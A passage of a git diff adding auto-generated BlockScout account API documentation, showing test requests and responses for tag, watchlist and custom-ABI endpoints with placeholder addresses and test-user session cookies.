156, + "contract_address_hash": "0x0000000000000000000000000000000000000053", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000053" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test12", + "id": 155, + "contract_address_hash": "0x0000000000000000000000000000000000000052", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000052" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test11", + "id": 154, + "contract_address_hash": "0x0000000000000000000000000000000000000051", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000051" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test10", + "id": 153, + "contract_address_hash": "0x0000000000000000000000000000000000000050", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000050" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test9", + "id": 152, + "contract_address_hash": "0x000000000000000000000000000000000000004f", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004f" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test8", + "id": 151, + "contract_address_hash": "0x000000000000000000000000000000000000004e", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004e" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test7", + "id": 150, + "contract_address_hash": "0x000000000000000000000000000000000000004d", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004D" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test6", + "id": 149, + "contract_address_hash": "0x000000000000000000000000000000000000004c", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004C" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test5", + "id": 148, + "contract_address_hash": "0x000000000000000000000000000000000000004b", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004B" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test4", + "id": 147, + "contract_address_hash": "0x000000000000000000000000000000000000004a", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000004A" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } + ] +### BlockScoutWeb.Account.Api.V1.UserController update_custom_abi [PUT /api/account/v1/user/custom_abis/{id}] + + + + ++ Parameters + + id: `162` + id: 162 + + ++ Request Edit custom abi +**PUT**  `/api/account/v1/user/custom_abis/162` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test23", + "contract_address_hash": "0x0000000000000000000000000000000000000066", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTFkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIyQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABEGQABG5hbWVtAAAAC1VzZXIgVGVzdDExZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjExZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDExZAAMd2F0Y2hsaXN0X2lkYgAAARA.M0fGYF6uHlLOsjA-gLmGzzXuTxSr8hQVlDi3jIhAXX0; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZrqXJvdOdEAAAdE + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "test23", + "id": 162, + "contract_address_hash": "0x0000000000000000000000000000000000000066", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000066" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } +### BlockScoutWeb.Account.Api.V1.UserController delete_custom_abi [DELETE /api/account/v1/user/custom_abis/{id}] + + + + ++ Parameters + + id: `145` + id: 145 + + ++ Request Delete custom abi +**DELETE**  `/api/account/v1/user/custom_abis/145` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMmQABWVtYWlsbQAAABp0ZXN0X3VzZXItMkBibG9ja3Njb3V0LmNvbWQAAmlkYgAAAQdkAARuYW1lbQAAAApVc2VyIFRlc3QyZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjJkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMmQADHdhdGNobGlzdF9pZGIAAAEH.xeXAG0XBVkoEw0SR5kJ04tyapR1tY5N9XTrN_nrO63c; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2XZv72akD4sAAAQk + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "message": "OK" + } diff --git a/apps/block_scout_web/API.md b/apps/block_scout_web/API.md new file mode 100644 index 000000000000..74ded7812d48 --- /dev/null +++ b/apps/block_scout_web/API.md @@ -0,0 +1,1844 @@ +# API Documentation + + * [BlockScoutWeb.Account.Api.V1.UserController](#blockscoutweb-account-api-v1-usercontroller) + * [info](#blockscoutweb-account-api-v1-usercontroller-info) + * [create_tag_address](#blockscoutweb-account-api-v1-usercontroller-create_tag_address) + * [BlockScoutWeb.Account.Api.V1.TagsController](#blockscoutweb-account-api-v1-tagscontroller) + * [tags_address](#blockscoutweb-account-api-v1-tagscontroller-tags_address) + * [BlockScoutWeb.Account.Api.V1.UserController](#blockscoutweb-account-api-v1-usercontroller) + * [update_tag_address](#blockscoutweb-account-api-v1-usercontroller-update_tag_address) + * [tags_address](#blockscoutweb-account-api-v1-usercontroller-tags_address) + * [delete_tag_address](#blockscoutweb-account-api-v1-usercontroller-delete_tag_address) + * [create_tag_transaction](#blockscoutweb-account-api-v1-usercontroller-create_tag_transaction) + * [BlockScoutWeb.Account.Api.V1.TagsController](#blockscoutweb-account-api-v1-tagscontroller) + * [tags_transaction](#blockscoutweb-account-api-v1-tagscontroller-tags_transaction) + * [BlockScoutWeb.Account.Api.V1.UserController](#blockscoutweb-account-api-v1-usercontroller) + * [update_tag_transaction](#blockscoutweb-account-api-v1-usercontroller-update_tag_transaction) + * [tags_transaction](#blockscoutweb-account-api-v1-usercontroller-tags_transaction) + * [delete_tag_transaction](#blockscoutweb-account-api-v1-usercontroller-delete_tag_transaction) + * [create_watchlist](#blockscoutweb-account-api-v1-usercontroller-create_watchlist) + * [watchlist](#blockscoutweb-account-api-v1-usercontroller-watchlist) + * [delete_watchlist](#blockscoutweb-account-api-v1-usercontroller-delete_watchlist) + * [update_watchlist](#blockscoutweb-account-api-v1-usercontroller-update_watchlist) + * [create_watchlist](#blockscoutweb-account-api-v1-usercontroller-create_watchlist) + * [update_watchlist](#blockscoutweb-account-api-v1-usercontroller-update_watchlist) + * [create_api_key](#blockscoutweb-account-api-v1-usercontroller-create_api_key) + * [api_keys](#blockscoutweb-account-api-v1-usercontroller-api_keys) + * [update_api_key](#blockscoutweb-account-api-v1-usercontroller-update_api_key) + * [delete_api_key](#blockscoutweb-account-api-v1-usercontroller-delete_api_key) + * [create_custom_abi](#blockscoutweb-account-api-v1-usercontroller-create_custom_abi) + * [custom_abis](#blockscoutweb-account-api-v1-usercontroller-custom_abis) + * [update_custom_abi](#blockscoutweb-account-api-v1-usercontroller-update_custom_abi) + * [delete_custom_abi](#blockscoutweb-account-api-v1-usercontroller-delete_custom_abi) + +## BlockScoutWeb.Account.Api.V1.UserController +### info +#### Get info about user + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/info + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyNGQABWVtYWlsbQAAABp0ZXN0X3VzZXItNEBibG9ja3Njb3V0LmNvbWQAAmlkYcRkAARuYW1lbQAAAApVc2VyIFRlc3Q0ZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjRkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwNGQADHdhdGNobGlzdF9pZGHE.Ovcc2Vzzv4fhFzmirtQjJ06gcqQwUHMMlju7VX24fyo; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y1_QfU9-YaIAAGdh +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "nickname": "test_user4", + "name": "User Test4", + "email": "test_user-4@blockscout.com", + "avatar": "https://example.com/avatar/test_user4" +} +``` + +### create_tag_address +#### Add private address tag + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/tags/address +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "MyName", + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMThkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIyQGJsb2Nrc2NvdXQuY29tZAACaWRh0mQABG5hbWVtAAAAC1VzZXIgVGVzdDE4ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE4ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE4ZAAMd2F0Y2hsaXN0X2lkYdI.tFFJ387fBBdBFuMzzeaWcMTeapzMHnbuEfnqTdq5lJ8; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3ALw8xSCMAAAHAC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "MyName", + "id": 61, + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" +} +``` + +## BlockScoutWeb.Account.Api.V1.TagsController +### tags_address +#### Get tags for address + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/tags/address/0x3e9ac8f16c92bc4f093357933b5befbf1e16987b + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMThkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIyQGJsb2Nrc2NvdXQuY29tZAACaWRh0mQABG5hbWVtAAAAC1VzZXIgVGVzdDE4ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE4ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE4ZAAMd2F0Y2hsaXN0X2lkYdI.tFFJ387fBBdBFuMzzeaWcMTeapzMHnbuEfnqTdq5lJ8; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3BIWjdSCMAAAG4B +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "watchlist_names": [], + "personal_tags": [ + { + "label": "MyName", + "display_name": "MyName", + "address_hash": "0x3e9ac8f16c92bc4f093357933b5befbf1e16987b" + } + ], + "common_tags": [] +} +``` + +## BlockScoutWeb.Account.Api.V1.UserController +### update_tag_address +#### Edit private address tag + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/tags/address/57 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "name": "name3", + "address_hash": "0x0000000000000000000000000000000000000016" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyN2QABWVtYWlsbQAAABt0ZXN0X3VzZXItMTBAYmxvY2tzY291dC5jb21kAAJpZGHHZAAEbmFtZW0AAAAKVXNlciBUZXN0N2QACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI3ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDdkAAx3YXRjaGxpc3RfaWRhxw.Bn03yTZrlP0m6amYLQVeI-pvhvUf1F6d9SGAkDTLEck; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2IdgOjzsTkAAGYC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "name": "name3", + "id": 57, + "address_hash": "0x0000000000000000000000000000000000000016" +} +``` + +### tags_address +#### Get private addresses tags + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/tags/address + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTVkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTE5QGJsb2Nrc2NvdXQuY29tZAACaWRhz2QABG5hbWVtAAAAC1VzZXIgVGVzdDE1ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE1ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE1ZAAMd2F0Y2hsaXN0X2lkYc8.AoYBq7uUH9JOt11vL4-71qtsXMzpPDFsx8BV97n1Y-o; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2ynKDFWAsYAAG5C +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +[ + { + "name": "name2", + "id": 60, + "address_hash": "0x000000000000000000000000000000000000003f" + }, + { + "name": "name1", + "id": 59, + "address_hash": "0x000000000000000000000000000000000000003e" + }, + { + "name": "name0", + "id": 58, + "address_hash": "0x000000000000000000000000000000000000003d" + } +] +``` + +### delete_tag_address +#### Delete private address tag + +##### Request +* __Method:__ DELETE +* __Path:__ /api/account/v1/user/tags/address/62 + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjRkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTM4QGJsb2Nrc2NvdXQuY29tZAACaWRh2GQABG5hbWVtAAAAC1VzZXIgVGVzdDI0ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjI0ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDI0ZAAMd2F0Y2hsaXN0X2lkYdg.x6Qf5zC5gCGQrKy2MbTqd3Xt7S_2oUYaCnO-pbZwRMI; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3biZmVZE0MAAHKC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "message": "OK" +} +``` + +### create_tag_transaction +#### Error on try to create private transaction tag for tx does not exist + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/tags/transaction +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000008", + "name": "MyName" +} +``` + +##### Response +* __Status__: 422 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTlkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIzQGJsb2Nrc2NvdXQuY29tZAACaWRh02QABG5hbWVtAAAAC1VzZXIgVGVzdDE5ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE5ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE5ZAAMd2F0Y2hsaXN0X2lkYdM.zuwR-sOIcF7Xpo97W6G9Szzi_BPlu6Pu9_4kn7T2c10; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3DXWVBu-HUAAG6h +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "errors": { + "tx_hash": [ + "Transaction does not exist" + ] + } +} +``` + +#### Create private transaction tag + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/tags/transaction +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000009", + "name": "MyName" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTlkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIzQGJsb2Nrc2NvdXQuY29tZAACaWRh02QABG5hbWVtAAAAC1VzZXIgVGVzdDE5ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE5ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE5ZAAMd2F0Y2hsaXN0X2lkYdM.zuwR-sOIcF7Xpo97W6G9Szzi_BPlu6Pu9_4kn7T2c10; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3EB0Ytu-HUAAG7B +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000009", + "name": "MyName", + "id": 64 +} +``` + +## BlockScoutWeb.Account.Api.V1.TagsController +### tags_transaction +#### Get tags for transaction + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/tags/transaction/0x0000000000000000000000000000000000000000000000000000000000000009 + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTlkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIzQGJsb2Nrc2NvdXQuY29tZAACaWRh02QABG5hbWVtAAAAC1VzZXIgVGVzdDE5ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE5ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE5ZAAMd2F0Y2hsaXN0X2lkYdM.zuwR-sOIcF7Xpo97W6G9Szzi_BPlu6Pu9_4kn7T2c10; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y3Efe0tu-HUAAG7h +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "watchlist_names": [], + "personal_tx_tag": { + "label": "MyName" + }, + "personal_tags": [], + "common_tags": [] +} +``` + +## BlockScoutWeb.Account.Api.V1.UserController +### update_tag_transaction +#### Edit private transaction tag + +##### Request +* __Method:__ PUT +* __Path:__ /api/account/v1/user/tags/transaction/57 +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000001", + "name": "name1" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMGQABWVtYWlsbQAAABp0ZXN0X3VzZXItMEBibG9ja3Njb3V0LmNvbWQAAmlkYcBkAARuYW1lbQAAAApVc2VyIFRlc3QwZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjBkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMGQADHdhdGNobGlzdF9pZGHA.-aMP6TTEeEfxopoeChJPvTvjkSRD9_ZgaeLDlOC21gU; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y1xoENHeIlkAAGEi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000001", + "name": "name1", + "id": 57 +} +``` + +### tags_transaction +#### Get private transactions tags + +##### Request +* __Method:__ GET +* __Path:__ /api/account/v1/user/tags/transaction + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTRkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTE4QGJsb2Nrc2NvdXQuY29tZAACaWRhzmQABG5hbWVtAAAAC1VzZXIgVGVzdDE0ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE0ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE0ZAAMd2F0Y2hsaXN0X2lkYc4.8SGhlMOY4aB444Afz1VajofmGp9YZbrfbVkZ4BTyaBI; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2tEsVp5P30AAGzi +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +[ + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000004", + "name": "name2", + "id": 60 + }, + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000003", + "name": "name1", + "id": 59 + }, + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000002", + "name": "name0", + "id": 58 + } +] +``` + +### delete_tag_transaction +#### Delete private transaction tag + +##### Request +* __Method:__ DELETE +* __Path:__ /api/account/v1/user/tags/transaction/61 + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTZkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIwQGJsb2Nrc2NvdXQuY29tZAACaWRh0GQABG5hbWVtAAAAC1VzZXIgVGVzdDE2ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE2ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE2ZAAMd2F0Y2hsaXN0X2lkYdA.YfL9L7-UIBleRbWWhHNvutNuw8Y4SadvwGFmGwakxQA; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y26c9UuC4TcAAGwh +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "message": "OK" +} +``` + +### create_watchlist +#### Add address to watch list + +##### Request +* __Method:__ POST +* __Path:__ /api/account/v1/user/watchlist +* __Request headers:__ +``` +content-type: multipart/mixed; boundary=plug_conn_test +``` +* __Request body:__ +```json +{ + "notification_settings": { + "native": { + "outcoming": false, + "incoming": true + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": false + } + }, + "notification_methods": { + "email": true + }, + "name": "test2", + "address_hash": "0x0000000000000000000000000000000000000007" +} +``` + +##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: 